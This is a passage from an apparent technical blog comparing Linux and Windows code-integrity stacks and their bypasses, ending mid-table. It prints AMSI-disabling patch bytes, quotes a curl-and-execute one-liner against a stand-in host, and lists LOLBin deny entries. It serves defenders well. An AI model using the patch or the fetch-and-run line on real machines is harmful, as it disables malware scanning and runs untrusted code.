&lt;p&gt;The merge cadence on the kernel side is itself part of the story. Measurement-only IMA shipped in 2.6.30 in 2009. EVM merged in 3.2 in January 2012. EVM digital signatures merged in 3.3 in March 2012. IMA-appraise, which finally lets the kernel return &lt;code&gt;-EPERM&lt;/code&gt; on a hash mismatch, merged in Linux 3.7 in December 2012 [@lwn-net-articles-488906]. Three and a half years from &quot;we hash files&quot; to &quot;we refuse to run files that fail the hash&quot;. The gap was not engineering laziness; it was the time it took to design and merge the boundary-strengthening pieces that made enforcement safe to enable.&lt;/p&gt;
&lt;h3&gt;HVCI / Memory Integrity (Windows 10 1607, August 2016): the secure kernel&lt;/h3&gt;
&lt;p&gt;Windows took the equivalent step four years later, but at a different layer. Virtualization-Based Security (VBS) [@learn-microsoft-com-oem-vbs] splits Windows into Virtual Trust Level 0 -- the normal kernel everyone has been writing rootkits for since 1993 -- and Virtual Trust Level 1, a small &lt;a href=&quot;https://paragmali.com/blog/the-windows-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;secure kernel&lt;/a&gt; hosted by Hyper-V. The kernel-mode Code Integrity check that gates loading of every driver is moved into VTL1. A VTL0 attacker with full SYSTEM, even one who has loaded a malicious driver, cannot patch the VTL1 verifier; they cannot even read its memory.&lt;/p&gt;

Windows&apos; Hyper-V-rooted split that puts a small secure kernel in VTL1, isolated from the normal Windows kernel (VTL0) by the hypervisor. Hypervisor-protected Code Integrity (HVCI), exposed in Windows Settings as &quot;Memory integrity&quot;, uses VTL1 to host the kernel-mode code-integrity check, so a VTL0 attacker with SYSTEM cannot patch the verifier or downgrade its policy.
&lt;p&gt;Microsoft&apos;s HVCI documentation [@learn-microsoft-com-oem-vbs] frames the W^X invariant HVCI enforces on kernel pages: &quot;memory integrity ... protects and hardens Windows by running kernel mode code integrity within the isolated virtual environment of VBS ... ensuring that kernel memory pages are only made executable after passing code integrity checks inside the secure runtime environment, and executable pages themselves are never writable.&quot; A kernel page can be writable or executable; never both at the same time. The split is enforced by the hypervisor.&quot;HVCI&quot;, &quot;Memory Integrity&quot;, and &quot;kernel-mode code integrity running in VBS&quot; are the same mechanism. Microsoft&apos;s product-name churn here is unusually thick: the Windows Settings UI calls it Memory Integrity, the documentation page is titled &quot;Enable virtualization-based protection of code integrity&quot;, the underlying capability is HVCI, and Microsoft also markets the same hardware-and-software bundle as &quot;Secured-Core PC&quot;.&lt;/p&gt;

flowchart TD
  subgraph VTL0[VTL0: normal Windows kernel]
    P[User process]
    DRV[Driver load request]
    RK[Hypothetical rootkit with SYSTEM]
    K0[NT kernel]
    P --&amp;gt; K0
    DRV --&amp;gt; K0
    RK --&amp;gt; K0
  end
  K0 --&amp;gt;|hypercall: verify driver| HV[Hypervisor]
  RK -.X.-&amp;gt; SK
  HV --&amp;gt; SK
  subgraph VTL1[VTL1: secure kernel]
    SK[Secure kernel]
    CI[Kernel-mode CI verifier]
    SK --&amp;gt; CI
  end
  CI --&amp;gt;|allow / deny| HV
  HV --&amp;gt;|result| K0
&lt;h3&gt;IPE (Linux 6.12, November 2024): property-based decisions&lt;/h3&gt;
&lt;p&gt;The most recent Linux pivot moves further still. Integrity Policy Enforcement [@docs-kernel-org-lsm-ipehtml], upstreamed in Linux 6.12 in November 2024 from a Microsoft-contributed patch series (source on GitHub [@github-com-microsoft-ipe]), does not hash files at all. Its kernel documentation is explicit: &quot;Integrity Policy Enforcement (IPE) is a Linux Security Module that takes a complementary approach to access control. Unlike traditional access control mechanisms that rely on labels and paths for decision-making, IPE focuses on the immutable security properties inherent to system components.&quot; A policy rule looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;op=EXECUTE dmverity_signature=TRUE dmverity_roothash=sha256:&amp;lt;hex&amp;gt; action=ALLOW
op=EXECUTE fsverity_signature=TRUE action=ALLOW
op=EXECUTE action=DENY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The kernel is not asked &quot;what is the SHA-256 of this file?&quot; at &lt;code&gt;op=EXECUTE&lt;/code&gt; time. It is asked &quot;did this file come from a dm-verity device whose root hash matches one of our trusted signatures?&quot; The verifier has nothing to compute per access; it has only to read a pre-computed property. The trust boundary has moved out to whoever signed the dm-verity image at build time.&lt;/p&gt;
&lt;h3&gt;fs-verity (Linux 5.4, November 2019): O(log n) per page&lt;/h3&gt;
&lt;p&gt;The cryptographic complement is fs-verity [@kernel-org-filesystems-fsverityhtml], upstreamed in Linux 5.4 in November 2019 by Eric Biggers and Theodore Ts&apos;o at Google. The kernel docs describe the trick: &quot;fs-verity is similar to dm-verity but works on files rather than block devices ... userspace can execute an ioctl that causes the filesystem to build a Merkle tree for the file and persist it to a filesystem-specific location ... Userspace can use another ioctl to retrieve the root hash ... in constant time, regardless of the file size.&quot;&lt;/p&gt;
&lt;p&gt;The Merkle tree turns whole-file hashing into O(log n) verification per page read, with constant-time digest retrieval. Concretely, an APK or container layer with thousands of pages does not need a full hash on first open; the page cache verifies the leaves and intermediate Merkle nodes only for the pages actually touched. IMA can consume fs-verity&apos;s digest directly through the &lt;code&gt;digest_type=verity&lt;/code&gt; modifier in its policy language.&lt;/p&gt;

The breakthrough was not a stronger check. It was moving the check out of the attacker&apos;s address space.
&lt;p&gt;Each pivot moved the trust boundary outward in a different direction. EVM moved the integrity root from &quot;xattr next to the file&quot; to &quot;HMAC-keyed xattr, key sealed to TPM PCRs&quot;. HVCI moved the kernel-mode verifier from &quot;in the kernel the attacker can patch&quot; to &quot;in a secure kernel the attacker cannot reach without breaking the hypervisor&quot;. IPE moved the per-access decision from &quot;recompute a file&apos;s hash&quot; to &quot;look up a precomputed property&quot;. Fs-verity collapsed the per-access cost from O(n) on the file to O(log n) on a Merkle path.&lt;/p&gt;
&lt;p&gt;The crypto was already strong. The breakthrough was the geometry of where the verifier lived.&lt;/p&gt;
&lt;p&gt;By 2020 both stacks looked dramatically different from their 2009 and 2015 originals. Here is what each one looks like today, side by side.&lt;/p&gt;
&lt;h2&gt;6. The stack today, side by side&lt;/h2&gt;
&lt;p&gt;Eleven moving parts. Here is how they line up.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Linux&lt;/th&gt;
&lt;th&gt;Windows&lt;/th&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;IMA appraise + EVM&lt;/td&gt;
&lt;td&gt;App Control (WDAC) UMCI&lt;/td&gt;
&lt;td&gt;User-mode code integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kernel module signing&lt;/td&gt;
&lt;td&gt;App Control + HVCI driver enforcement&lt;/td&gt;
&lt;td&gt;Kernel-mode code integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fs-verity + dm-verity&lt;/td&gt;
&lt;td&gt;HVCI page-level W^X + signed catalogues&lt;/td&gt;
&lt;td&gt;Page-level integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AppArmor / SELinux&lt;/td&gt;
&lt;td&gt;(no direct analogue; closest is AppContainer / ASR)&lt;/td&gt;
&lt;td&gt;Mandatory access control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fapolicyd&lt;/td&gt;
&lt;td&gt;App Control + AppLocker&lt;/td&gt;
&lt;td&gt;User-space allowlist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IPE&lt;/td&gt;
&lt;td&gt;App Control (FilePath / hash rules)&lt;/td&gt;
&lt;td&gt;Property-based code integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;(no direct analogue)&lt;/td&gt;
&lt;td&gt;AMSI&lt;/td&gt;
&lt;td&gt;Script content scan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;(no direct analogue)&lt;/td&gt;
&lt;td&gt;Smart App Control + ISG&lt;/td&gt;
&lt;td&gt;Cloud reputation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The mapping is not 1-to-1 in either direction. Linux composes; Windows consolidates. To compare meaningfully we have to look at each layer in turn.&lt;/p&gt;
&lt;h3&gt;6.1 Code-integrity enforcers: IMA + EVM vs WDAC vs IPE&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;Linux IMA + EVM&lt;/th&gt;
&lt;th&gt;WDAC (App Control)&lt;/th&gt;
&lt;th&gt;IPE&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Enforcement layer&lt;/td&gt;
&lt;td&gt;VFS / LSM hook (file open, mmap, exec)&lt;/td&gt;
&lt;td&gt;PE loader (kernel CI, user-mode CI)&lt;/td&gt;
&lt;td&gt;LSM hook on &lt;code&gt;op=EXECUTE&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identity primitive&lt;/td&gt;
&lt;td&gt;File-content hash or &lt;code&gt;imasig&lt;/code&gt; / &lt;code&gt;modsig&lt;/code&gt; / &lt;code&gt;sigv3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Authenticode chain, hash, FilePath, or ISG&lt;/td&gt;
&lt;td&gt;dm-verity root hash / fs-verity digest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Policy expression&lt;/td&gt;
&lt;td&gt;Procedural rules (&lt;code&gt;func=&lt;/code&gt; / &lt;code&gt;mask=&lt;/code&gt; / &lt;code&gt;fsmagic=&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Signed XML compiled to binary &lt;code&gt;.p7b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Signed plain-text DFA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worst-case per-access&lt;/td&gt;
&lt;td&gt;O(n) hash on first access; O(1) cached&lt;/td&gt;
&lt;td&gt;O(1) cached; O(n) hash on cache miss&lt;/td&gt;
&lt;td&gt;O(1) (properties precomputed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fail-closed mode&lt;/td&gt;
&lt;td&gt;Yes (appraise)&lt;/td&gt;
&lt;td&gt;Yes (enforced)&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Remote-attestation friendly&lt;/td&gt;
&lt;td&gt;Yes (TPM PCR 10)&lt;/td&gt;
&lt;td&gt;Indirect (Measured Boot logs)&lt;/td&gt;
&lt;td&gt;Indirect&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bypass arms race&lt;/td&gt;
&lt;td&gt;Whole-disk swap (countered by EVM key sealing)&lt;/td&gt;
&lt;td&gt;LOLBins (Microsoft block list + community LOLBAS)&lt;/td&gt;
&lt;td&gt;Limited surface (DFA-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The IMA policy ABI [@kernel-org-testing-imapolicy] documents the full rule grammar: &lt;code&gt;action [condition ...]&lt;/code&gt; where action is one of &lt;code&gt;measure | dont_measure | appraise | dont_appraise | audit | dont_audit | hash | dont_hash&lt;/code&gt;, and conditions select on &lt;code&gt;func=&lt;/code&gt;, &lt;code&gt;mask=&lt;/code&gt;, &lt;code&gt;fsmagic=&lt;/code&gt;, &lt;code&gt;fsuuid=&lt;/code&gt;, &lt;code&gt;uid=&lt;/code&gt;, &lt;code&gt;fowner=&lt;/code&gt;, LSM-label predicates, and the all-important &lt;code&gt;appraise_type=&lt;/code&gt; modifier that names the signature scheme. IMA template management [@docs-kernel-org-ima-templateshtml] controls &lt;em&gt;what&lt;/em&gt; gets recorded per measurement-list entry; the two templates used in practice today are &lt;code&gt;ima-ng&lt;/code&gt; (&lt;code&gt;d-ng|n-ng&lt;/code&gt;: hash-algo-prefixed digest plus name) and &lt;code&gt;ima-sigv2&lt;/code&gt; (&lt;code&gt;d-ngv2|n-ng|sig&lt;/code&gt;: versioned digest plus name plus signature).&lt;/p&gt;
&lt;p&gt;WDAC&apos;s policy rule reference [@learn-microsoft-com-to-create] defines the rule kinds operators actually write: Publisher, PcaCertificate, LeafCertificate, FileName, Version, Hash (SHA-1, SHA-256, or SHA-384), FilePath (added in 1903 and explicitly weaker because a user with write access can substitute the file), Managed Installer, and Intelligent Security Graph. The compiled output is a signed binary &lt;code&gt;.p7b&lt;/code&gt; CIPolicy.&lt;/p&gt;
&lt;p&gt;The same doc records the default-on audit-mode behaviour that has surprised many operators: &quot;We recommend that you use Enabled:Audit Mode initially because it allows you to test new App Control policies before you enforce them ... By default, only kernel-mode binaries are restricted. Enabling the following rule option validates user mode executables and scripts.&quot; The Enabled:UMCI flag is what flips a WDAC policy from kernel-only to full user-mode enforcement.&lt;/p&gt;

flowchart LR
  PE[PE load request] --&amp;gt; AC[Parse Authenticode signature]
  AC --&amp;gt; RM[Match rule set]
  RM --&amp;gt; P[Publisher / cert rule?]
  P --&amp;gt;|hit| AL[Allow]
  P --&amp;gt;|miss| H[Hash rule?]
  H --&amp;gt;|hit| AL
  H --&amp;gt;|miss| FP[FilePath rule?]
  FP --&amp;gt;|hit| AL
  FP --&amp;gt;|miss| MI[Managed Installer?]
  MI --&amp;gt;|hit| AL
  MI --&amp;gt;|miss| ISG[Intelligent Security Graph?]
  ISG --&amp;gt;|hit| AL
  ISG --&amp;gt;|miss| DEF[Default action]
  AL --&amp;gt; BL{&quot;In bypass-list deny?&quot;}
  BL --&amp;gt;|yes| BLK[Block]
  BL --&amp;gt;|no| LOAD[Loader continues]
  DEF --&amp;gt; BLK
&lt;h3&gt;6.2 Mandatory access control: AppArmor vs SELinux&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;AppArmor&lt;/th&gt;
&lt;th&gt;SELinux&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Model&lt;/td&gt;
&lt;td&gt;Path-based allowlist per binary&lt;/td&gt;
&lt;td&gt;Type-enforcement on subject x object x class&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Storage of policy state&lt;/td&gt;
&lt;td&gt;In-memory DFA loaded from user space&lt;/td&gt;
&lt;td&gt;&lt;code&gt;security.selinux&lt;/code&gt; xattr + compiled &lt;code&gt;policy.31&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Granularity&lt;/td&gt;
&lt;td&gt;Profile per executable&lt;/td&gt;
&lt;td&gt;Per-type, per-class, per-operation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Survives file rename&lt;/td&gt;
&lt;td&gt;No (path is the identity)&lt;/td&gt;
&lt;td&gt;Yes (xattr travels with inode)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default-on distros&lt;/td&gt;
&lt;td&gt;Ubuntu, openSUSE, SLES&lt;/td&gt;
&lt;td&gt;RHEL, Fedora, Oracle Linux, Android, ChromeOS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authoring tools&lt;/td&gt;
&lt;td&gt;&lt;code&gt;aa-genprof&lt;/code&gt;, &lt;code&gt;aa-logprof&lt;/code&gt;, &lt;code&gt;aa-enforce&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;audit2allow&lt;/code&gt;, &lt;code&gt;semodule&lt;/code&gt;, refpolicy, &lt;code&gt;udica&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;AppArmor&apos;s kernel documentation [@docs-kernel-org-lsm-apparmorhtml] describes the model directly: &quot;AppArmor is MAC style security extension for the Linux kernel. It implements a task centered policy, with task &apos;profiles&apos; being created and loaded from user space.&quot; A profile reads like a rule file rather than a label algebra:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/sbin/nginx {
  capability net_bind_service,
  /etc/nginx/** r,
  /var/log/nginx/* w,
  /var/www/** r,
  network inet stream,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The kernel compiles each profile to a DFA at load time, so policy lookup is O(L) in path length. SELinux&apos;s compiled policy uses a hash-table query against compiled type-enforcement rules with an in-memory access-vector cache for O(1) hot decisions. Both are practical; they differ on which model fits the way an administrator thinks. AppArmor wins on auditability and quick authoring; SELinux wins on expressiveness and on what the Wikipedia summary [@en-wikipedia-org-security-enhancedlinux] calls Mandatory Access Control for multi-level security. Smack [@schaufler-ca-com] is a third in-tree LSM, simpler than SELinux, used heavily by Tizen.&lt;/p&gt;

Red Hat&apos;s `fapolicyd` is the answer for operators who want App Control-style allowlisting without rebuilding the kernel. Trust is inherited from the RPM database; the daemon sits on the kernel&apos;s `fanotify` permission channel and answers ALLOW or DENY on every `open` and `exec`. Per the RHEL hardening guide [@access-redhat-com-fapolicydsecurity-hardening], rule files in `/etc/fapolicyd/rules.d/` are concatenated in lexicographic order into `compiled.rules`. The Red Hat-shipped numbered prefixes are 10 (language interpreters), 20 (dracut), 21 (updaters), 30 (patterns), 40/41/42 (ELF), 70 (trusted languages), 72 (shell), 90 (deny-execute), 95 (allow-open). First-match-wins evaluation means operators adding custom rules must give their file a number lower than 90 to ensure their `allow` is reached before the catch-all deny.
&lt;h3&gt;6.3 Hypervisor-anchored CI: HVCI&lt;/h3&gt;
&lt;p&gt;HVCI&apos;s runtime cost is dominated by the hypercall round-trip from VTL0 to VTL1 on driver load and on each executable-page allocation. Steady-state overhead is small on hardware with the right capabilities.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s HVCI documentation [@learn-microsoft-com-code-integrity] names the dependency: &quot;Memory integrity works better with Intel Kabylake and higher processors with Mode-Based Execution Control, and AMD Zen 2 and higher processors with Guest Mode Execute Trap capabilities. Older processors rely on an emulation of these features, called Restricted User Mode, and will have a bigger impact on performance.&quot; Practitioner-visible rule of thumb: less than 5 percent overhead on MBEC/GMET-capable silicon, 10 to 20 percent on kernel-bound workloads when the CPU has to emulate.&lt;/p&gt;
&lt;p&gt;HVCI hardware prerequisites per the OEM VBS guidance [@learn-microsoft-com-oem-vbs]: 64-bit CPU with virtualization extensions (VT-x or AMD-V), second-level address translation (EPT or RVI), an IOMMU (VT-d or AMD-Vi), TPM 2.0, UEFI MAT, Secure MOR v2, and ideally MBEC (Intel) or GMET (AMD).&lt;/p&gt;
&lt;h3&gt;6.4 Script-level inspection: AMSI vs Linux&apos;s gap&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;AMSI&lt;/th&gt;
&lt;th&gt;Linux IMA on scripts&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;What it sees&lt;/td&gt;
&lt;td&gt;Deobfuscated script buffer at execution time&lt;/td&gt;
&lt;td&gt;Whole-file content at &lt;code&gt;open&lt;/code&gt; or &lt;code&gt;mmap&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Coverage&lt;/td&gt;
&lt;td&gt;PowerShell, WSH, VBA, JScript, MSHTA, UAC installers, .NET, Edge&lt;/td&gt;
&lt;td&gt;Any file whose &lt;code&gt;func=FILE_CHECK&lt;/code&gt; rule matches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Provider model&lt;/td&gt;
&lt;td&gt;COM &lt;code&gt;IAntimalwareProvider&lt;/code&gt; per process&lt;/td&gt;
&lt;td&gt;None; kernel verifies signature directly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defends against runtime obfuscation&lt;/td&gt;
&lt;td&gt;Yes (sees final buffer)&lt;/td&gt;
&lt;td&gt;No (sees file as written)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust boundary&lt;/td&gt;
&lt;td&gt;Wrong (in-process; patchable by attacker)&lt;/td&gt;
&lt;td&gt;Right (kernel-side; attacker cannot patch)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The asymmetry is the point. AMSI sees what the interpreter is about to evaluate; IMA sees only what is on disk. AMSI catches in-memory PowerShell payloads, Office macros that decode themselves at runtime, and &lt;code&gt;Invoke-Expression&lt;/code&gt; evaluations that never touched the filesystem. IMA&apos;s hash is final at file write time and tells you exactly nothing about what &lt;code&gt;bash -c &quot;$(curl evil)&quot;&lt;/code&gt; will execute.&lt;/p&gt;

The reduced PowerShell language mode App Control forces on systems with UMCI enabled. It blocks reflection (the `[System.Reflection]` namespace), dynamic-type creation, and arbitrary .NET API calls. It is the runtime-side complement to App Control: even if a script gets in, its evaluation surface is dramatically reduced. This is also what makes the `amsiInitFailed` flag-flip bypass non-trivial under modern App Control: the reflection needed to set the flag is blocked.
&lt;h3&gt;6.5 Cloud reputation: Smart App Control&lt;/h3&gt;
&lt;p&gt;Smart App Control [@learn-microsoft-com-business-appcontrol] ships as a pre-baked WDAC policy bundled with Windows 11 22H2 and later. The App Control overview describes it as the consumer-facing entry point introduced in Windows 11 version 22H2 to bring application control to home users. On every fresh install SAC starts in &lt;em&gt;evaluation&lt;/em&gt; mode for 48 hours. Microsoft&apos;s cloud reputation service silently observes the user&apos;s app inventory; on enterprise-managed devices SAC auto-disables at the end of the window unless the user explicitly opts in. Once disabled by user, policy, or the auto-disable rule, it can only be re-enabled by performing a clean install of Windows. A Settings &amp;gt; Reset This PC is not sufficient.&lt;/p&gt;

Three quirks operators must understand. First, evaluation lasts 48 hours and is silent. Second, enterprise-managed (Intune, AAD-joined, GPO-managed) devices auto-disable at evaluation end. Third, disable is one-way: there is no &quot;restart evaluation&quot; path. The intended deployment model is that enterprises use full App Control with a managed-installer policy, not SAC. Consumers with a small app footprint and no IT team get a cloud-driven allowlist for free; everyone else is expected to author a policy.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Once Smart App Control is off on a device, it can only be re-enabled by performing a clean install of Windows. A Settings &amp;gt; Reset This PC does not re-enable SAC. Treat enabling SAC as a deployment decision, not a casual toggle.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.6 fs-verity as the per-file Merkle layer&lt;/h3&gt;
&lt;p&gt;For the data-at-rest performance story, fs-verity&apos;s &lt;code&gt;ioctl(FS_IOC_ENABLE_VERITY)&lt;/code&gt; builds the Merkle tree, persists it next to the file, and switches the file to read-only. &lt;code&gt;FS_IOC_MEASURE_VERITY&lt;/code&gt; returns the digest in constant time. IMA&apos;s policy language gained &lt;code&gt;appraise_type=sigv3&lt;/code&gt; and the &lt;code&gt;digest_type=verity&lt;/code&gt; modifier so a rule like&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;appraise func=BPRM_CHECK fsmagic=0xef53 appraise_type=sigv3 digest_type=verity
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;asks the filesystem for the file&apos;s fs-verity digest (O(1)) and verifies the kernel-stored signature over that digest, rather than re-hashing the file even on first access. Supported on ext4, f2fs, and btrfs.&lt;/p&gt;
&lt;p&gt;Eleven mechanisms, two architectures, one shared shape: an allowlist of trusted producers plus a hook that can refuse to honour anything outside it. The allowlist of producers is the deepest common assumption, and it is also where the next class of attacks lives.&lt;/p&gt;
&lt;h2&gt;7. Bypass arms races&lt;/h2&gt;
&lt;p&gt;Every code-integrity system on the market is in a continuous fight with the bypass it shipped with. The fights tell you what each architecture got wrong.&lt;/p&gt;
&lt;h3&gt;The AMSI bypass family&lt;/h3&gt;
&lt;p&gt;The three single-shot techniques from Section 4 -- prologue patch, &lt;code&gt;amsiInitFailed&lt;/code&gt; flag flip, library unload -- have all been answered by partial mitigations. Microsoft has hardened AMSI provider loading [@learn-microsoft-com-interface-portal] to require Authenticode-signed provider DLLs from Windows 10 1903 onward. Defender ships ETW-based detection that flags in-memory patches to &lt;code&gt;amsi.dll&lt;/code&gt;. Constrained Language Mode (forced by App Control) blocks the reflection needed to flip &lt;code&gt;AmsiUtils.amsiInitFailed&lt;/code&gt;. None of these closes the structural problem. AMSI is by design a function call inside the script host. As long as the host process is the trust boundary, the attacker who reaches the host process wins.&lt;/p&gt;

The trust boundary is wrong: the host process making the AMSI call is the same process the attacker is running in.

The simplest in-memory patch overwrites `AmsiScanBuffer`&apos;s prologue with a six-byte sequence that loads `AMSI_RESULT_CLEAN` (0) into EAX and returns:&lt;pre&gt;&lt;code&gt;xor eax, eax    ; 31 C0
ret             ; C3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or, depending on the calling convention the patcher targets:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov eax, 0x80070057   ; B8 57 00 07 80   (HRESULT E_INVALIDARG)
ret                   ; C3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both variants are detected by modern Defender via the ETW patch detection, but neither requires kernel privileges or a syscall to apply.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;The WDAC LOLBin arms race&lt;/h3&gt;
&lt;p&gt;Microsoft&apos;s App Control bypass list [@learn-microsoft-com-bypass-appcontrol] is a maintained document that any non-trivial WDAC policy must merge into its deny rules. The 40-plus entries include &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;Microsoft.Build.dll&lt;/code&gt;, &lt;code&gt;windbg.exe&lt;/code&gt;, &lt;code&gt;cdb.exe&lt;/code&gt;, &lt;code&gt;kd.exe&lt;/code&gt;, &lt;code&gt;dotnet.exe&lt;/code&gt;, &lt;code&gt;csi.exe&lt;/code&gt;, &lt;code&gt;rcsi.exe&lt;/code&gt;, &lt;code&gt;addinprocess.exe&lt;/code&gt;, &lt;code&gt;addinutil.exe&lt;/code&gt;, &lt;code&gt;aspnet_compiler.exe&lt;/code&gt;, &lt;code&gt;bash.exe&lt;/code&gt;, &lt;code&gt;wsl.exe&lt;/code&gt;, &lt;code&gt;runscripthelper.exe&lt;/code&gt;, &lt;code&gt;system.management.automation.dll&lt;/code&gt;, and &lt;code&gt;webclnt.dll&lt;/code&gt; / &lt;code&gt;davsvc.dll&lt;/code&gt;. The community LOLBAS index [@lolbas-project-github-io] widens the field to roughly 200 entries with MITRE ATT&amp;amp;CK technique IDs.&lt;/p&gt;
&lt;p&gt;Tooling (the WDAC Wizard, AaronLocker, Microsoft&apos;s &lt;code&gt;ConfigCI&lt;/code&gt; PowerShell module, &lt;code&gt;CiTool.exe&lt;/code&gt;) automates merging the deny set into a base policy and onto Intune. The asymmetry is the bottom line: trust granted at signer granularity, exploitation at binary granularity. The deny list is not a fix; it is a treadmill.&lt;/p&gt;

A trusted binary, often shipped by the OS vendor and signed by the vendor&apos;s code-signing certificate, that an attacker re-purposes to bypass an allowlist or to perform actions that would be blocked if attempted with non-vendor tooling. Examples on Windows: `mshta.exe` to evaluate HTA scripts, `regsvr32.exe` to execute a remote scriptlet, `installutil.exe` to run code via a designed-for-development assembly loader.
&lt;h3&gt;fapolicyd permissive-window&lt;/h3&gt;
&lt;p&gt;This is not a cryptographic bypass; it is the architectural choice (userspace daemon over &lt;code&gt;fanotify&lt;/code&gt;) showing its operational seam. A privileged operator who sets &lt;code&gt;permissive=1&lt;/code&gt; to debug a noisy rule and forgets to revert has silently disabled enforcement. If the daemon dies under load or after a bad rule deploy, the kernel waits for the fanotify response timeout and then fails open. There is no failsafe equivalent of HVCI&apos;s &quot;the verifier is in another address space&quot; guarantee.&lt;/p&gt;
&lt;h3&gt;IMA / EVM offline-key attacks&lt;/h3&gt;
&lt;p&gt;EVM is only as strong as its key custody. If the HMAC key is loaded from a file on disk (the worst-case configuration), an attacker with root on a running system can read it, then perform the offline-rewrite attack of Section 4 with a valid &lt;code&gt;security.evm&lt;/code&gt; HMAC. TPM-sealed keys close this path on hardware that supports sealing; some installations skip the seal step &quot;until we add a TPM&quot; and never do. Asymmetric (EVM portable signatures) mode avoids on-box key custody but requires a per-package signing pipeline most distributions have not built.&lt;/p&gt;
&lt;h3&gt;The cross-stack symmetry&lt;/h3&gt;
&lt;p&gt;Both lineages obey two architectural rules, and both have at least one place where they break each rule:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bypass class&lt;/th&gt;
&lt;th&gt;Linux instance&lt;/th&gt;
&lt;th&gt;Windows instance&lt;/th&gt;
&lt;th&gt;Root cause&lt;/th&gt;
&lt;th&gt;Partial mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Verifier shares address space with attacker&lt;/td&gt;
&lt;td&gt;(script interpreters; no in-kernel interpreter scanner)&lt;/td&gt;
&lt;td&gt;AMSI prologue patch, &lt;code&gt;amsiInitFailed&lt;/code&gt; flag flip&lt;/td&gt;
&lt;td&gt;Software-only protection of an in-process secret is impossible&lt;/td&gt;
&lt;td&gt;ETW patch detection, signed providers, Constrained Language Mode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
